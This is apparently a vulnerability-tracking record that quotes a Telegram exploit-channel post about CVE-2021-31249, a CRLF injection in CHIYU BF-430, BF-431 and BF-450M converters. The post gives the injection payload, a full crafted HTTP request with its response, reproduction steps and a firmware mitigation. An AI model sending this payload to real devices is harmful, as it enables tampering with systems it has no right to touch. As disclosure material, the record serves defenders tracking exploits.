{"uuid": "17b42bd5-adbf-4da6-a739-2d103a896c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31249", "type": "seen", "source": "https://t.me/hacking_Attack/10998", "content": "Exploit Collector\nCHIYU TCP/IP Converter CRLF Injection\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nCHIYU TCP/IP Converter devices suffers from a crlf injection vulnerability. Versions affected include BF-430, BF-431, and BF-450M.\n\nMD5 | 13a797a4534c55f2a1bacdeee0f9a77e\n\nDownload\n# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection\n# Date: May 31 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html\n# Software Link: https://www.chiyu-tech.com/category-hardware.html\n# Version:  BF-430, BF-431, and BF-450M TCP/IP Converter devices   - all firmware versions < June 2021\n# Tested on:  BF-430, BF-431, and BF-450M\n# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks\n\nDescription: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.\nCVSS: Medium \u2013 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N\nURL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249\n\nAffected parameter: redirect=Component: all the CGI components\nPayload: %0d%0a%0d%0a\n\n====HTTP request======\nGET\n/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY\nHTTP/1.1\nHost: 192.168.187.12\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101\nFirefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.187.12/manage.htm\nAuthorization: Basic OmFkbWlu\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n======HTTP response========\nHTTP/1.1 302 Found\nLocation: setting.htm\n\nContent-Length: 0\nContent-Type: text/html\nSteps to reproduce:\n1. Navigate to the vulnerable device\n2. Make a GET request to all CGI components\n3. Append the payload at the end of the vulnerable parameter (redirect )\n4. Submit the request and observe payload execution\nMitigation: The latest version of the CHIYU firmware should be installed\nto mitigate this vulnerability.\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:16.958593Z"}